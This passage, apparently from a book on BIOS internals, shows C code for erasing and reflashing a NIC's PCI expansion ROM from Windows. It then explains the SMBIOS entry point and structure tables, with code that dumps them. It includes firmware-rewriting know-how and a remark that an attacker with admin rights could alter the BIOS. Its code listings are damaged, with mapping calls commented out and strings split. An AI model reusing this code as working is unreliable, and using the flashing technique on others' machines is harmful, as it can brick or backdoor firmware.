    card->write_rom_byte( card, 0xAA, 0x5555 );
    card->write_rom_byte( card, 0x55, 0x2AAA );
    manufacturer_id = card->read_rom_byte( card, 0 );
    device_id = card->read_rom_byte( card, 1 );
    reset_at29c512(card);
    if( (ATMEL_ID == manufacturer_id) && (AT_29C512 == device_id))
    {
int erase_at29c512(struct pci_card *card)
{
    reset_at29c512(card);

    printf("Erasing AT29C512. Please wait.. \n");

    card->write_rom_byte( card, 0xAA, 0x5555 );
    card->write_rom_byte( card, 0x55, 0x2AAA );
    card->write_rom_byte( card, 0x80, 0x5555 );
    card->write_rom_byte( card, 0xAA, 0x5555 );
    card->write_rom_byte( card, 0x55, 0x2AAA );
    card->write_rom_byte( card, 0x10, 0x5555 );

    myusec_delay(10000); // Wait 10 msec
    wait_for_toggle_bit(card);

    return 1; // Return 1 to indicate success
}

int write_at29c512(struct pci_card *card, unsigned char * buf)
{
    long i;

    /*----------------- BEGIN HIGH PERFORMANCE CODE NEEDED --------------*/
    // instruction for writing a sector
    card->write_Rom_byte( card, 0xAA, 0x5555 );
    card->write_Rom_byte( card, 0x55, 0x2AAA );
    card->write_Rom_byte( card, 0xA0, 0x5555 );

    // Put all data into the sector
    for (i=0; i < (card->rom->total_size * 1024) ; i++)
        card->write_Rom_byte( card, buf[i], i );

    /*----------------- END HIGH PERFORMANCE CODE NEEDED -------------*/

    /*----------------- BEGIN HIGH PERFORMANCE CODE QUICK HACK -------*/
    printf("Flashing binary to AT29C512. Please wait.. \n");
    WriteRtl8139RomHack(card->device.base_addr[0],
            card->rom->total_size * 1024, buf);

    //----------------- END HIGH PERFORMANCE CODE QUICK HACK -------*/
As you can see in listing 9.39, I made a "quick hack" method to provide high-performance code to write into AT29C512. The implementation of this high-performance code is in the form of a dedicated function to write into the flash ROM entirely in the device driver. This dedicated function is named WriteRtl8139RomHack in listing 9.35. Even though the same function name is used in the user-mode source code in the direct_io.h file, these functions are different. WriteRtl8139RomHack in direct_io.h calls the function with the same name in the device driver through the I/O manager by using the IOCTL_RTL8139_ROM_WRITE_HACK IOCTL code.

At this point, everything should be clear. Read the source code if you are still confused in some parts. Next, I show you how I test the executable.

### 9.5.4. Testing the Software

If you call the DeviceIoControl function in user mode, you are actually interacting with the I/O manager.
Testing the new version of `bios_probe` is easy. First, I test the capability to erase the flash ROM. It is shown in figure 9.9.

To ensure that the flash ROM is indeed erased, I dumped the contents into a binary file, as shown in figure 9.10.
The dump result is as expected. The binary file only contains FFh bytes, as shown in hex dump 9.2.

**Hex dump 9.2 PCI Expansion ROM Contents After They Have Been Erased**

<table>
<thead>
<tr>
<th>Address</th>
<th>Hex Value</th>
<th>ASCII Value</th>
</tr>
</thead>
<tbody>
<tr>
<td>00000000</td>
<td>FFFF FFFF FFFF FFFF FFFF FFFF FFFF FFFF</td>
<td>.................</td>
</tr>
<tr>
<td>00000010</td>
<td>FFFF FFFF FFFF FFFF FFFF FFFF FFFF FFFF</td>
<td>.................</td>
</tr>
<tr>
<td>00000020</td>
<td>FFFF FFFF FFFF FFFF FFFF FFFF FFFF FFFF</td>
<td>.................</td>
</tr>
<tr>
<td>00000030</td>
<td>FFFF FFFF FFFF FFFF FFFF FFFF FFFF FFFF</td>
<td>.................</td>
</tr>
<tr>
<td>00000040</td>
<td>FFFF FFFF FFFF FFFF FFFF FFFF FFFF FFFF</td>
<td>.................</td>
</tr>
<tr>
<td>...</td>
<td></td>
<td></td>
</tr>
<tr>
<td>0000FFD0</td>
<td>FFFF FFFF FFFF FFFF FFFF FFFF FFFF FFFF</td>
<td>.................</td>
</tr>
<tr>
<td>0000FFFF</td>
<td>FFFF FFFF FFFF FFFF FFFF FFFF FFFF FFFF</td>
<td>.................</td>
</tr>
</tbody>
</table>

To ensure that everything is right, I reboot the system and boot from the RTL8139 NIC. If the boot failed, then the erase operation is successful. I set the BIOS to boot from the LAN as shown in figure 9.11.

![Figure 9.11 Boot from LAN in the BIOS setting](image)

The machine is booted and fails as expected, because other boot devices are disabled. It's shown in figure 9.12.
The next step is to test the PCI expansion ROM flashing in Windows. It’s shown in figure 9.13.

The file that I flash in figure 9.13 is the binary file that you learn in chapter 7. However, I customized the source code in chapter 7 to generate this file, i.e., I fixed the
vendor identifier and device identifier so that they match the RTL8139 NIC. If this file is successfully flashed, then when I reboot again and activate boot from LAN, the **Hello World** string will be displayed on the screen. Then the system halts. Indeed, that's the result. Figure 9.14 shows it.

![Hello World](image)

**Figure 9.14** The result of flashing to PCI expansion ROM

Now, you have nothing to worry about when accessing the contents of the ROM chip directly in the operating system, regardless of whether it's motherboard BIOS or PCI expansion ROM. The upcoming chapters are even more interesting.
Chapter 10 Low-Level Remote Server Management

PREVIEW

You might not be aware of the presence of low-level remote access to x86 system hardware and firmware through software interfaces called the desktop management interface (DMI) and system management basic input/output system (SMBIOS). They were competing standards. DMI reached the end of its life cycle in 2005. Therefore, my explanation regarding these protocols focuses on SMBIOS. Nevertheless, some artifacts from the DMI era are still found in SMBIOS for compatibility reasons. The first section explains the SMBIOS interface, and the second section deals with the real-world implementation of the interface in a sample BIOS binary, along with a simple SMBIOS structure table parser. You also get a glimpse of Windows management instrumentation (WMI).

10.1. DMI and SMBIOS

DMI and SMBIOS are standards developed and maintained by the Distributed Management Task Force (DMTF). These standards are meant to take part in a software layer to provide seamless remote management for server and desktop machines. The purpose is to lower the total cost of ownership for organizations running various machines. The more machines an organization has, the greater the benefit it receives from being able to centralize the management tasks of the machines, such as monitoring machine performance and updating certain software. This machine management paradigm is termed Web-based enterprise management (WBEM) by the DMTF (http://www.dmtf.org/standards/wbem/). In this context, DMI or SMBIOS is only one of the software layers that provide management functions. Note that DMI has been deprecated and replaced by SMBIOS.

Figure 10.1 shows a simplified logical architecture for a WBEM computing environment.
Figure 10.1 show that the operating system-specific "client" application manages access not only to the so-called SMBIOS structures table but also to "other manageable components." In Windows, this client is WMI. In a UNIX-based operating system, the operating system-specific client depends on the vendor that provides it. Big vendors such as Sun Microsystems, Hewlett-Packard, and IBM provide a custom WBEM client application. Some Linux distributions from big vendors, such as Novell/SUSE, also implements WBEM client software. I won't delve into the UNIX version of the client...
software in this book because it varies so much. There is open-source activity around the UNIX implementation of WBEM at http://openwbem.org/. As for WMI, I offer a little explanation. However, this chapter covers the BIOS level implementation of the WBEM paradigm. Therefore, the operating system–specific layer of WBEM will not be the major theme here.

Even if figure 10.1 shows a kind of client–server relationship between the WBEM manager software and the system that hosts the manageable components, in the real world, the system doesn't have to be set up as client and server for the WBEM to work. For example, in Windows machines, as long as remote access to the WMI of the remote machine is granted, the local machine can "ask" the remote machine to perform management tasks.

The requirements and specifics about WBEM for hardware devices are available in the "Windows Hardware Instrumentation Implementation Guidelines" at http://download.microsoft.com/download/5/7/7/577a5684-8a83-43ae-9272-ff260a9c20e2/whiig-1.doc. The SMBIOS implementation guideline is provided in chapter 2.7 in the document:

Static SMBIOS table data is provided to WMI using the WMI infrastructure

Required

Vendors who want to provide OEM-specific and system-specific instrumentation data may choose to use SMBIOS as the mechanism. In order to leverage the capabilities of the WMI infrastructure to surface this SMBIOS data, they must conform to any SMBIOS version from 2.0 to 2.3. Doing so will allow the Win32 provider to populate almost all of the SMBIOS-provided information into the [Common Information Model] CIMv2.0 namespace. In particular, almost all of the information will be put into Win32 classes. Some of these Win32 classes are derived from the CIMv2.0 physical [Managed Object Format] MOF.

This requirement does not imply a requirement to implement SMBIOS in a system.

It's clear in the preceding citation that the WMI subsystem in Windows will "parse" the SMBIOS data provided by the BIOS and then "export" it to the WBEM manager software as needed through the WMI interface.

In figure 10.1, an arrow runs from the power-on BIOS code to the SMBIOS structure tables. This arrow means the SMBIOS structures table is populated by the BIOS code that is executed during system initialization.

SMBIOS is a BIOS feature specific to the x86 platform. It's implemented as part of the WBEM initiative. The role of SMBIOS is to provide system-specific information to the upper layer in the WBEM implementation, i.e., the operating system layer. To easily understand the SMBIOS, you can download version 2.4 of its specification at http://www.dmtf.org/standards/smbios/. I often refer to the contents of this specification.

In the earlier implementation of SMBIOS, the information was presented as a "callable interface," i.e., platform-specific function calls. The current implementation of
SMBIOS presents the information to the upper layer in the form of a data structure. This data structure is shown as the SMBIOS structures table in figure 10.1.

The entry point to this data structure table is a string signature, _SM_. This entry point is placed in a 16-byte boundary inside physical address range 0xF0000–0xFFFFF in the x86 architecture. The table itself need not be located in this address range. The SMBIOS specification states that it must be in the 4-GB address range because it has to be addressed with 32-bit addressing; nevertheless, many BIOSs implement the table within the 0xF0000–0xFFFFF physical address range. The entry point of SMBIOS structure table is described in table 10.1; this table can also be found in the DMTF "System Management BIOS (SMBIOS) Reference Specification," version 2.4, released July 4, 2004.

<table>
<thead>
<tr>
<th>Offset</th>
<th>Name</th>
<th>Length</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>00h</td>
<td>Anchor string</td>
<td>4 bytes</td>
<td><em>SM</em>, specified as four ASCII characters (5F 53 4D 5F).</td>
</tr>
<tr>
<td>04h</td>
<td>Entry point structure (EPS) checksum</td>
<td>Byte</td>
<td>Checksum of the EPS. This value, when added to all other bytes in the EPS, will result in the value 00h (using 8-bit addition calculations). Values in the EPS are summed starting at offset 00h for entry point length bytes.</td>
</tr>
<tr>
<td>05h</td>
<td>Entry point length</td>
<td>Byte</td>
<td>Length of the EPS, starting with the anchor string field, in bytes, currently 1Fh. Note: This value was incorrectly stated in v2.1 of the SMBIOS specification as 1Eh. Because of this, there might be SMBIOS v2.1 implementations that use either the 1Eh or the 1Fh value, but SMBIOS v2.2 or later implementations must use the 1Fh value.</td>
</tr>
<tr>
<td>06h</td>
<td>SMBIOS major version</td>
<td>Byte</td>
<td>Identifies the major version of the SMBIOS specification implemented in the table structures, e.g., the value will be 0Ah for revision 10.22 and 02h for revision 2.1.</td>
</tr>
<tr>
<td>07h</td>
<td>SMBIOS minor version</td>
<td>Byte</td>
<td>Identifies the minor version of the SMBIOS specification implemented in the table structures, e.g., the value will be 16h for revision 10.22 and 01h for revision 2.1.</td>
</tr>
<tr>
<td>08h</td>
<td>Maximum structure size</td>
<td>Maximum structure size</td>
<td>Size of the largest SMBIOS structure, in bytes. This encompasses the structure's formatted area and text strings. This is the value returned as StructureSize from the PnP Get SMBIOS Information function.</td>
</tr>
<tr>
<td>0Ah</td>
<td>Entry Point</td>
<td>Byte</td>
<td>Identifies the EPS revision implemented in</td>
</tr>
<tr>
<td>Offset</td>
<td>Field Name</td>
<td>Type</td>
<td>Description</td>
</tr>
<tr>
<td>--------</td>
<td>--------------------------------</td>
<td>----------</td>
<td>---------------------------------------------------------------------------------------------------------------------------------------------</td>
</tr>
<tr>
<td>0Bh−</td>
<td>Formatted area</td>
<td>5 bytes</td>
<td>The value present in the entry point revision field defines the interpretation to be placed upon these 5 bytes.</td>
</tr>
<tr>
<td>10h</td>
<td>Intermediate anchor string</td>
<td>5 bytes</td>
<td><strong>DMI</strong>, specified as five ASCII characters (5F 44 4D 49 5F). Note: This field is paragraph-aligned, to allow legacy DMI browsers to find this entry point within the SMBIOS EPS.</td>
</tr>
<tr>
<td>15h</td>
<td>Intermediate checksum</td>
<td>Byte</td>
<td>Checksum of intermediate entry point structure (IEPS). This value, when added to all other bytes in the IEPS, will result in the value 00h (using 8-bit addition calculations). Values in the IEPS are summed starting at offset 10h, for 0Fh bytes.</td>
</tr>
<tr>
<td>16h</td>
<td>Structure table length</td>
<td>Word</td>
<td>Total length of the SMBIOS structure table, pointed to by the structure table address, in bytes.</td>
</tr>
<tr>
<td>18h</td>
<td>Structure table address</td>
<td>Dword</td>
<td>The 32-bit physical starting address of the read-only SMBIOS structure table that can start at any 32-bit address. This area contains all of the SMBIOS structures fully packed together. These structures can then be parsed to produce exactly the same format as that returned from a Get SMBIOS Structure function call.</td>
</tr>
<tr>
<td>1Ch</td>
<td>Number of SMBIOS structures</td>
<td>Word</td>
<td>Total number of structures present in the SMBIOS structure table. This is the value returned as NumStructures from the Get SMBIOS Information function.</td>
</tr>
<tr>
<td>1Eh</td>
<td>SMBIOS binary-coded decimal revision</td>
<td>Byte</td>
<td>Indicates compliance with a revision of this specification. It is a binary-coded decimal value, where the upper nibble indicates the major version and the lower nibble the minor version. For revision 2.1, the returned value is 21h. If the value is 00h, only the major and minor versions in offsets 6 and 7 of the EPS provide the version information.</td>
</tr>
</tbody>
</table>

Table 10.1 SMBIOS structure table entry point
Even table 10.1 might obscure how this table entry point fits into the overall SMBIOS architecture. Therefore, figure 10.2 shows the logical way to access the SMBIOS structure table.

![Figure 10.2 Searching for SMBIOS structure table](image)

You can realize that the low-level remote management feature exists if an operating system is running, because the operating system provides connection from the machine to the outside world. Indeed, the WBEM architecture mandates this. However, the operating system doesn't have to be a full-fledged operating system like Windows or UNIX—or even small-scale operating system—like software, such as the remote program loader or Intel's PXE ROM code. If the machine boots from NIC, it is enough. As long as there is software that provides connection to the machine, you can remotely query the low-level system features by scanning and parsing the SMBIOS information in SMBIOS structure table.

You now know how to access the SMBIOS structure table. Next, consider some interesting parts of the SMBIOS structure table. I have to explain the basic organization of the table entries first. Every entry in the structure table is called an SMBIOS structure. It's composed of two parts. The first is the formatted section and the second is an optional unformatted section, as shown in figure 10.3.

<table>
<thead>
<tr>
<th>Formatted Section</th>
</tr>
</thead>
<tbody>
<tr>
<td>Unformatted Section (Optional)</td>
</tr>
</tbody>
</table>
The formatted section contains the predefined header for the SMBIOS structure, and the unformatted section contains the strings associated with the contents of the formatted section or another kind of data as dictated by the SMBIOS specification. The unformatted section is not mandatory. The presence of the unformatted section depends on the type of the structure. The header of the SMBIOS structure is crucial in determining the type of the structure. The organization of bytes in the header is shown in table 10.2, which also can be found in the version 2.4 of the SMBIOS specification.

<table>
<thead>
<tr>
<th>Offset</th>
<th>Name</th>
<th>Length</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>00h</td>
<td>Type</td>
<td>Byte</td>
<td>Specifies the type of structure. Types 0 through 127 (7Fh) are reserved for and defined by this specification. Types 128 through 256 (80h to FFh) are available for system- and OEM-specific information.</td>
</tr>
<tr>
<td>01h</td>
<td>Length</td>
<td>Byte</td>
<td>Specifies the length of the formatted area of the structure, starting at the Type field. The length of the structure's string set is not included</td>
</tr>
<tr>
<td>02h</td>
<td>Handle</td>
<td>Word</td>
<td>Specifies the structure's handle, a unique 16-bit number in the range 0–OFFFEh (for version 2.0) or 0–0FEFFh (for versions 2.1 and later). The handle can be used with the Get SMBIOS Structure function to retrieve a specific structure; the handle numbers are not required to be contiguous. For v2.1 and later, handle values in the range OFF00h–OFFFFh are reserved for use by this specification. If the system configuration changes, a previously assigned handle might no longer exist. However, once a handle has been assigned by the BIOS, the BIOS cannot reallocate that handle number to another structure.</td>
</tr>
</tbody>
</table>

Table 10.2 Organization of bytes in the SMBIOS structure header

The offset in table 10.2 is calculated from the first byte in the SMBIOS structure. Note that the Type byte in table 10.2 is the first byte of an SMBIOS structure. As seen in the description of the Type byte, there are 128 predefined types of SMBIOS structures. As stated previously, there are some interesting SMBIOS structures. For example, SMBIOS structure type 15 is the system event log. This structure is interesting because, by using information from this structure, you can access the CMOS parameters in the machine. Table 10.3 shows the relevant contents of this structure; this table can also be found in version 2.4 of the SMBIOS specification.

<table>
<thead>
<tr>
<th>Offset</th>
<th>SMBIOS Specification</th>
<th>Name</th>
<th>Length</th>
<th>Value</th>
<th>Description</th>
</tr>
</thead>
</table>

Figure 10.3 Organization of an SMBIOS structure
<table>
<thead>
<tr>
<th>Version</th>
<th>Type</th>
<th>Byte</th>
<th>Length</th>
<th>Event log type indicator</th>
</tr>
</thead>
<tbody>
<tr>
<td>00h</td>
<td>2.0+</td>
<td></td>
<td>Byte</td>
<td>15</td>
</tr>
<tr>
<td>01h</td>
<td>2.0+</td>
<td>Length</td>
<td>Byte</td>
<td>Var²</td>
</tr>
<tr>
<td>02h</td>
<td>2.0+</td>
<td></td>
<td>Word</td>
<td>Var</td>
</tr>
<tr>
<td>04h</td>
<td>2.0+</td>
<td>Log area length</td>
<td>Word</td>
<td>Var</td>
</tr>
<tr>
<td>06h</td>
<td>2.0+</td>
<td>Log header start offset</td>
<td>Word</td>
<td>Var</td>
</tr>
<tr>
<td>08h</td>
<td>2.0+</td>
<td>Log data start offset</td>
<td>Word</td>
<td>Var</td>
</tr>
<tr>
<td>0Ah</td>
<td>2.0+</td>
<td></td>
<td>Access method</td>
<td>Byte</td>
</tr>
</tbody>
</table>

² 2.0+ means specification version 2.0 or later.
³ Var means the value varies
following:
00h indexed I/O—1 8-bit index port, 1 8-bit data port. The access method address field contains the 16-bit I/O addresses for the index and data ports.
01h indexed I/O—2 8-bit index ports, 1 8-bit data port. The access method address field contains the 16-bit I/O address for the index and data ports.
02h indexed I/O—1 16-bit index port, 1 8-bit data port. The access method address field contains the 16-bit I/O address for the index and data ports.
03h memory-mapped physical 32-bit address—The access method address field contains the 4-byte (Intel dword format) starting physical address.
04h—Available via general-purpose nonvolatile data functions.
The access method address field contains the 2-byte (Intel word format) GPNV (general-purpose nonvolatile) handle.
05h–7Fh—Available for future assignment via this specification.
80h–FFh—BIOS vendor or OEM specific.

<table>
<thead>
<tr>
<th>Code</th>
<th>Version</th>
<th>Field Type</th>
<th>Size</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>08h</td>
<td>2.0+</td>
<td>Log status</td>
<td>Byte</td>
<td>Var This bit field describes the current status of the system event log: Bits 7:2—Reserved, set to zeros Bit 1—Log area full if one Bit 0—Log area valid if one</td>
</tr>
<tr>
<td>0Ch</td>
<td>2.0+</td>
<td>Log change token</td>
<td>Dword</td>
<td>Var Unique token that is reassigned every time the event log changes. It can be used to determine if additional events have occurred since the last time the log was read.</td>
</tr>
<tr>
<td>10h</td>
<td>2.0+</td>
<td>Access method</td>
<td>Dword</td>
<td>Var The address associated with the access method; the data</td>
</tr>
</tbody>
</table>
present depends on the access method field value. The area's format can be described by the following 1-byte-packed "C" union:

```c
union {
    struct {
        short IndexAddr;
        short DataAddr;
    } IO;
    long PhysicalAddr32;
    short GPNVHandle;
} AccessMethodAddress;
```

Some server vendors use information obtained from the system event log structure to change the contents of the CMOS chip in the system remotely with their proprietary WBEM manager software.

Another interesting SMBIOS structure is the management device structure (type 34). With information from this structure, you can devise a program to monitor the system hardware parameters remotely, such as the voltage levels of a remote PC's processor, the remote PC's fan spin rate, the remote PC's fan failures, and overheating problems on a remote PC. The layout of this structure is shown in table 10.4; it and tables 10.5 and 10.6 are also available in version 2.4 of the SMBIOS specification.

<table>
<thead>
<tr>
<th>Offset</th>
<th>Name</th>
<th>Length</th>
<th>Value</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>00h</td>
<td>Type</td>
<td>Byte</td>
<td>34</td>
<td>Management device indicator</td>
</tr>
<tr>
<td>01h</td>
<td>Length</td>
<td>Byte</td>
<td>0Bh</td>
<td>Length of the structure</td>
</tr>
<tr>
<td>02h</td>
<td>Handle</td>
<td>Word</td>
<td>Varies</td>
<td>The handle, or instance number, associated with the structure</td>
</tr>
<tr>
<td>04h</td>
<td>Description</td>
<td>Byte</td>
<td>String</td>
<td>The number of the string that contains additional descriptive information about the device or its location</td>
</tr>
<tr>
<td>05h</td>
<td>Type</td>
<td>Byte</td>
<td>Varies</td>
<td>Defines the device's type; see table 10.5</td>
</tr>
<tr>
<td>06h</td>
<td>Address</td>
<td>Dword</td>
<td>Varies</td>
<td>Defines the device's address</td>
</tr>
<tr>
<td>0Ah</td>
<td>Address Type</td>
<td>Byte</td>
<td>Varies</td>
<td>Defines the type of addressing used to access the device; see table 10.6</td>
</tr>
</tbody>
</table>

### Table 10.4 Management device structure, formatted section

<table>
<thead>
<tr>
<th>Byte Value</th>
<th>Meaning</th>
</tr>
</thead>
<tbody>
<tr>
<td>01h</td>
<td>Other</td>
</tr>
<tr>
<td>02h</td>
<td>Unknown</td>
</tr>
<tr>
<td>03h</td>
<td>National Semiconductor LM75</td>
</tr>
<tr>
<td>04h</td>
<td>National Semiconductor LM78</td>
</tr>
<tr>
<td>05h</td>
<td>National Semiconductor LM79</td>
</tr>
<tr>
<td>Byte Value</td>
<td>Meaning</td>
</tr>
<tr>
<td>------------</td>
<td>------------------------------</td>
</tr>
<tr>
<td>01h</td>
<td>Other</td>
</tr>
<tr>
<td>02h</td>
<td>Unknown</td>
</tr>
<tr>
<td>03h</td>
<td>I/O port</td>
</tr>
<tr>
<td>04h</td>
<td>Memory</td>
</tr>
<tr>
<td>05h</td>
<td>System management bus</td>
</tr>
</tbody>
</table>

Table 10.5 Management device—type

Tables 10.4 to 10.6 show the meaning of the bytes in management device structure. With the help of information from these tables, it will be quite easy for you to make the WBEM manager software query system parameters in a remote PC. However, to make remote hardware monitoring a reality, you first have to grant access to the remote system. For a malicious attacker, that would mean he or she has already implanted a backdoor in the remote machine and escalated his or her privilege to the administrator level. Without the administrator privilege, the attacker can't install a device driver, meaning he or she won't be able to poke around the hardware directly. With the administrator privilege, the attacker has the freedom to alter the BIOS. Altering the BIOS directly within the operating system was explained in chapter 9.

You might want to find another interesting SMBIOS structure in the SMBIOS specification. For that purpose, surf to DMTF website at http://www.dmtf.org and download the latest SMBIOS specification. As for the real-world code example that shows how to parse the SMBIOS structure table, be patient; the next section explains this.

10.2. Remote Server Management Code Implementation

The remote server management code explained in this section is the implementation of the SMBIOS protocol that you learned in the previous section. Section 10.1 showed how SMBIOS provides detailed low-level information pertaining to the PC that implements SMBIOS.

Before I move forward to how to parse the SMBIOS structure table, I would like to show you how a particular BIOS implements it. In Award BIOS version 6.00PG, the basic SMBIOS structure is placed in the compressed awardext.rom file. You learned about the innards of the Award BIOS binary in chapter 5. Reread that chapter if you forget the Award BIOS binary structure.
I emphasize the basic SMBIOS structure here because the contents of the SMBIOS structure table will vary depending on the system configuration. It varies because the SMBIOS table also presents information about hardware in systems other than the motherboard, such as information about the installed processor and PCI expansion cards.

Hex dump 10.1 shows the basic SMBIOS structure table in awardext.rom of Foxconn 955X7AA-8EKRS2 BIOS, dated November 19, 2005.

<table>
<thead>
<tr>
<th>Address</th>
<th>Hexadecimal Values</th>
<th>ASCII Values</th>
</tr>
</thead>
<tbody>
<tr>
<td>0000CD60</td>
<td>6563 7465 6400 0D0A 005F 534D 5F00 1F02</td>
<td>ected...._SM...</td>
</tr>
<tr>
<td>0000CD70</td>
<td>0200 0000 0000 0000 005F 444D 495F 0000</td>
<td>........._DMI..</td>
</tr>
<tr>
<td>0000CD80</td>
<td>1000 080F 0000 0022 5651 B9FF 0F32 E4AC</td>
<td>....&quot;VQ...2..</td>
</tr>
<tr>
<td>0000CD90</td>
<td>02E0 E2FB 8824 595E 0E68 A4CD 6814 ABEA</td>
<td>......$Y^.h..h..</td>
</tr>
</tbody>
</table>
| 0000CDA0 | 0065 00E0 C306 60E8 9F00 B000 E860 0B0E | .e....`......`..

Hex dump 10.1 gives you a glimpse into the BIOS-level implementation of the SMBIOS interface.

Now, move to the next step: parsing the SMBIOS structure table from a running system. To accomplish the goal, extend the `bios_probe` source code. You can download the source code for this section at http://www.megaupload.com/?d=9VERFZM5. The links provide the source code for `bios_probe` version 0.34. This version has rudimentary SMBIOS table parsing support. The major difference between this version and version 0.31 that you learned in chapter 9 is the SMBIOS support.

How is the SMBIOS support added? First, there is a simple change to the `flash_rom.c` file to add a new switch to parse the SMBIOS table. This change is shown in listing 10.1.

Listing 10.1 SMBIOS Support in `flash_rom.c`

```c
#include "smbios.h"

#include "irrelevant code omitted"

int dump_smbios_area(char * filename)
{
    /*++
    Routine Description:
    Scans the contents of SMBIOS area (0xF0000 - 0xFFFFF physical address) to find SMBIOS entry point signature "_SM_".
    If the signature is found, the SMBIOS table pointed to by the SMBIOS entry point is dumped into binary file named filename.
    Note: This function only supports table-based implementation for SMBIOS
    */
```

---

4 `Bios_probe` is the revamped version of the `flash_n_burn` utility for windows that you learned in chapter 9.
interface. Earlier implementation is unsupported.

Arguments:
filename - The name of the file to dump the SMBIOS table

Return Value:
0 - If failed
1 - If succeeded

```c
char * buf;
FILE * image = NULL;
volatile char * smbios = NULL;
volatile char * smbios_table = NULL;
unsigned long i, smbios_tbl_len, smbios_tbl_phy_addr;
unsigned short smbios_struct_count;

// Search for _SM_ identifier in 0xF0000 - 0xFFFFF physical address
// smbios = (volatile char*) MapPhysicalAddressRange(SMBIOS_PHY_START,
// SMBIOS_SIZE);

if(NULL == smbios) {
    printf("Error: unable to map SMBIOS area \n");
    return 0;
}

for( i = 0; i < 0x10000; i += 16)
|  if( '_MS_' == *((unsigned long *)(smbios + i)))
|      printf("_SM_ signature found at 0x%X\n", 0xF0000+i);
|      break;
|

if( i == 0x10000 )
|      // SMBIOS signature not found
|      UnmapPhysicalAddressRange((void*)smbios, SMBIOS_SIZE);
|      return 0;
|

// Check SMBIOS entry point revision
//
if(0 == *((unsigned char*)(smbios + i + 0xA))) {
    printf("The SMBIOS entry point is based on SMBIOS rev. 2.1.\n");
} else {
    printf("The SMBIOS entry point is newer than SMBIOS";
        " rev. 2.1.\n");
}
if( 'IMD_' == *((unsigned long*)(smbios + i + 0x10)) )
{
    printf("_DMI_ signature found\n");
}

// // Get SMBIOS structure table address and length
// smbios_tbl_len = *((unsigned short *)(smbios + i + 0x16));
printf("SMBIOS table length = 0x%X\n", smbios_tbl_len);
smbios_tbl_phy_addr = *((unsigned long *)(smbios + i + 0x18));
printf("SMBIOS table physical address = 0x%X\n",
    smbios_tbl_phy_addr);

// // Get the number of SMBIOS structures in the SMBIOS structure table
// smbios_struct_count = *((unsigned short *)(smbios + i + 0x1C));
printf("number of SMBIOS structures in the table = %d\n",
    smbios_struct_count);

// // Unmap the mapped SMBIOS physical memory range
// UnmapPhysicalAddressRange((void*)smbios, SMBIOS_SIZE);
// smbios = NULL;

// // Map and dump the SMBIOS table structures to file;
// note that this area is different from the SMBIOS area
// smbios_table = (volatile char*)
    MapPhysicalAddressRange(smbios_tbl_phy_addr,
    smbios_tbl_len);
if(NULL == smbios_table) {
    printf("Error: unable to map SMBIOS structure table\n");
    return 0;
}

if (!filename){
    printf("Error: SMBIOS dump filename is invalid \n");
    UnmapPhysicalAddressRange((void*)smbios_table, smbios_tbl_len); return 0;
}

buf = (char *) calloc(smbios_tbl_len, sizeof(char));
if(NULL == buf) {
    printf("Error: unable to allocate memory for SMBIOS structure" 
            "table buffer!\n");
    UnmapPhysicalAddressRange((void*)smbios_table, smbios_tbl_len);
    return 0;
}

if ((image = fopen(filename, "wb")) == NULL) {
    perror(filename);
    free(buf);
    UnmapPhysicalAddressRange((void*)smbios_table, smbios_tbl_len);
    return 0;
}

printf("Reading SMBIOS structure table...
");
memcpy(buf, (const char *)smbios_table, smbios_tbl_len);
fwrite(buf, sizeof(char), smbios_tbl_len, image);
fclose(image);

// Parse the SMBIOS table into a text file (smbios_table.txt)
printf("Parsing SMBIOS structure table to smbios_table.txt ...
");
parse_smbios_table(buf, smbios_tbl_len, "smbios_table.txt");

printf(" done\n");
free(buf); // Free the used heap

UnmapPhysicalAddressRange((void*)smbios_table, smbios_tbl_len);

return 1; // Success
}

// Irrelevant code omitted

// Changes to function usage are shown below

// void usage(const char *name) {
//    printf("usage: %s [-rwv] [-c chipname][file]\n", name);
//    printf("  %s -smbios [file]\n", name);
//    Irrelevant code omitted
//    printf("  -r: read flash and save into file\n"
//    Irrelevant code omitted
//    "-smbios: read SMBIOS area contents to file\n"
//    Irrelevant code omitted
//    "-pcie: erase pci ROM contents\n");
//    exit(1);
As you can see in listing 10.1, the SMBIOS support is provided in one dedicated function named `dump_smbios_area`. This function maps the SMBIOS physical address range (0xF0000 - 0xFFFFF) to the address space of the `bios_probe` user mode application with the help of the `bios_probe` driver that you learned in chapter 9. Then, `dump_smbios_area` scans this area for the presence of the SMBIOS structure table entry point. It does so by scanning the _SM_ signature string. Upon finding the entry point, `dump_smbios_area` then locates the SMBIOS table by reading the value of the structure table entry in the SMBIOS EPS. The `dump_smbios_area` function also reads the length of the SMBIOS table by reading the structure table length from the entry point. Then, `dump_smbios_area` unmaps the SMBIOS entry point from `bios_probe` and proceeds to map the real SMBIOS structure table to the `bios_probe` address space. The `dump_smbios_area` function then copies the contents of the SMBIOS table to a
dedicated buffer and parses the SMBIOS structure table by calling the
parse_smbios_table function. The parse_smbios_table function is implemented in
the smbios.c file and declared in the smbios.h file. After the SMBIOS buffer is parsed,
dump_smbios_area then unmaps the mapped SMBIOS structure table physical address
and returns.

The parse_smbios_table function is shown in listings 10.2 and 10.3. This
function is only a rudimentary function for parsing an SMBIOS structure table. It should be
easy for you to extend it.

Listing 10.2 smbios.h

```c
#ifndef __SMBIOS_H__
#define __SMBIOS_H__

int parse_smbios_table(char * smbios_table, unsigned long smbios_tbl_len,
char * filename);

#endif //__SMBIOS_H__
```

Listing 10.3 smbios.c

```c
/*-----------------------------------------------*
 File: smbios.c
 Description: Provides function to parse the SMBIOS structure table
 -----------------------------------------------*/

#include <stdlib.h>
#include <stdio.h>
#include <string.h>
#include <ctype.h>

enum {
    MAX_SMBIOS_STRING = 64, // See the section on text strings in
    SMBIOS spec v2.4
};

int parse_smbios_table(char * smbios_table, unsigned long smbios_tbl_len,
char * filename)

/*++
 Routine Description:
 Parse the memory buffer pointed to by smbios_table into
 human readable SMBIOS table in a text file.

 Arguments:
 smbios_table - Pointer to the smbios_table memory buffer.
 smbios_tbl_len - The length of the smbios_table in bytes.
 filename - Name of the text file to dump the parsing result.

 Return Value:
```
0 - If failed
1 - If succeeded

```c
/**
 * FILE * f = NULL;
 unsigned long i, j; // Indexes to SMBIOS table buffer
 int k, len; // String index
 char str[MAX_SMBIOS_STRING];
 unsigned char bios_vendor, bios_version, bios_date;

 if(NULL == smbios_table) {
   // Invalid SMBIOS table buffer
   return 0;
 }

